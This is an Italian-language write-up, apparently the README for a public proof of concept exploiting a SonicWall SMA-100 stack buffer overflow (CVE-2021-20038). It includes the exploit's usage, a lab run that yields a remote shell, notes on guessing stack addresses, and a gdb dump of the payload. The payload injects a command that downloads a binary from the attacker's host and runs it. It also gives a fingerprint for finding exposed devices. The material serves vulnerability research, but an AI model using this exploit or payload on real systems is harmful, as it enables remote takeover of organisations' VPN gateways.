bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

Il modulo Metasploit per CVE-2021-20039 analizza questo, ma non ho avuto la forza di farlo per questo exploit. Nota che se stai scansionando il tuo ambiente per queste cose, credo che il "Server: SonicWall SSL-VPN Web Server" sia il più affidabile. Circa 22k a gennaio 2022.

Output di Aiuto```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

Puoi usare il parametro --top_addr e ridurre il tempo di attacco a pochi secondi!``` albinolobster@ubuntu:/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User provided the top stack address: bfa4a000 [+] Generated 511 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 243 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 33% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 17:42:34 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$

Stabilità

Una buona domanda per qualsiasi exploit: quanto è stabile questo exploit? Per niente :lol: Il buffer overflow avviene in una libreria chiamata mod_cgi.so (una versione modificata del progetto Apache HTTP). La libreria viene caricata con un indirizzo di base randomizzato e l'overflow richiede un layout di memoria molto specifico per avere successo (almeno come l'ho interpretato io). Davvero non ideale per un attaccante remoto. Ma come ho dettagliato nella voce su AttackerKB, ci sono diverse cose che ci permettono di indovinare l'indirizzo casuale che desideriamo.

Pertanto, questo exploit, così com'è scritto (non posso sottolineare abbastanza che può essere migliorato), invia fino a 235.335 richieste HTTP per far atterrare il payload indovinando un indirizzo dello stack. Duecentomila richieste non sembrano tante, ma possono richiedere del tempo. Nell'esempio che ho pubblicato sopra, l'exploit ha impiegato 83 minuti per atterrare. Il che significa che non lo integrerai nella tua botnet Mirai per spargerlo in tutto internet 🤷 Penso comunque che sia un exploit ragionevole per un attacco mirato.

Inoltre, l'exploit (così come implementato) soffre di due problemi che potrebbero causare il fallimento dello sfruttamento. Il primo è un po' sciocco. Ci sono due indirizzi davanti al comando shell che alla fine viene eseguito. Entrambi questi indirizzi vengono passati a /bin/sh perché programmare è difficile. Se il primo indirizzo contiene un metacarattere della shell come '(' o '`' allora l'exploit semplicemente non funzionerà mai. Scusa! La parte peggiore è che non saprai mai davvero se il target remoto richiede un indirizzo del genere o se l'exploit è rotto!

Il secondo problema è molto più specifico del modo in cui ho scritto questo, e potrebbe essere facilmente risolto da qualcuno a cui importa. Ho scritto questo exploit per effettuare una chiamata a system, perché sono pigro e un hacker. Ciò ha richiesto che il payload rimanesse sotto i 2500 byte circa, altrimenti finisci per sovrascrivere env[] e mandare tutto in crash. Comunque. Come menzionato nella voce AKB, l'overflow avviene a causa dell'accumulo di una stringa di ambiente. L'allineamento e altre cose sono molto importanti per questo exploit. Ecco un esempio del payload in memoria:``` Breakpoint 1, 0xb697cfe6 in ?? () from /lib/mod_cgi.so (gdb) disas 0xb697cfe6,0xb697cfea Dump of assembler code from 0xb697cfe6 to 0xb697cfea: => 0xb697cfe6: mov 0x8(%ebp),%eax 0xb697cfe9: mov 0x110(%eax),%eax End of assembler dump. (gdb) printf "%s", $ebp-982
10.0.0.3 REDIRECT_QUERY_STRING=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz REDIRECT_WAF_NOT_LICENSED=1REDIRECT_SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaREDIRECT_SCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaREDIRECT_HTTPS=onREDIRECT_REQUEST_METHOD=GETREDIRECT_STATUS=404WAF_NOT_LICENSED=1SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaSCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaHTTPS=onSERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=sslvpnSERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.3DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=38236REDIRECT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/0.9REQUEST_METHOD=GETREQUEST_URI=/%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSCRIPT_NAME=/missing.html

Qualsiasi valore sconosciuto tra l'inizio del payload e la fine rovinerà l'allineamento. Analizziamolo un po' meglio:``` 10.0.0.3 REDIRECT_QUERY_STRING=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz REDIRECT_WAF_NOT_LICENSED=1 REDIRECT_SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa REDIRECT_SCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa REDIRECT_HTTPS=on REDIRECT_REQUEST_METHOD=GET REDIRECT_STATUS=404 WAF_NOT_LICENSED=1 SCRIPT_URL=/

Testing

Vuoi metterci le mani? Ottimo! Consiglio vivamente di effettuare il root del dispositivo utilizzando il modulo Metasploit CVE-2021-20039. Carica busybox sul dispositivo e avvia una shell telnet di root. Carica gdb sul dispositivo e inizia il debug.

Credit

• Taylor Swift